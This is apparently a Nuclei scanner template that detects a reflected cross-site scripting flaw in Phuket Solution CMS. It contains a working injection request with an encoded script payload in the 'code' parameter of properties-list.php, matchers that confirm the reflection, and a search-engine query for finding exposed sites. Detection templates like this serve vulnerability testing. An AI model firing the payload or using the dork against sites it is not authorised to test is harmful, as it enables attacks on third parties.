id: phuket-cms-xss

info:
  name: Phuket Solution CMS - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Phuket Solutions CMS is vulnerable to Reflected XSS in which an attacker injects malicious executable scripts into the code of a trusted application or website.
  reference:
    - https://www.exploitalert.com/view-details.html?id=36234
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    google-query: intext:"Developed by Phuket Solution"
  tags: xss,phuket,phuket-cms

http:
  - raw:
      - |
        GET /properties-list.php?property-types=1&types=2&location=&prices=&bedroom=&code=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>") && contains(body, "Phuket Solution")'
        condition: and
# digest: 4a0a00473045022051bb8b4ba5c90e4b0872bffa9d5bdc8935a1ccfffd39d7528ad2b7b368f9a9a3022100b45a92e0f86c2bae85feb0248707f02f55f4c824b7ab3c37c07e1670ffd9125f:922c64590222798bb761d5b6d8e72950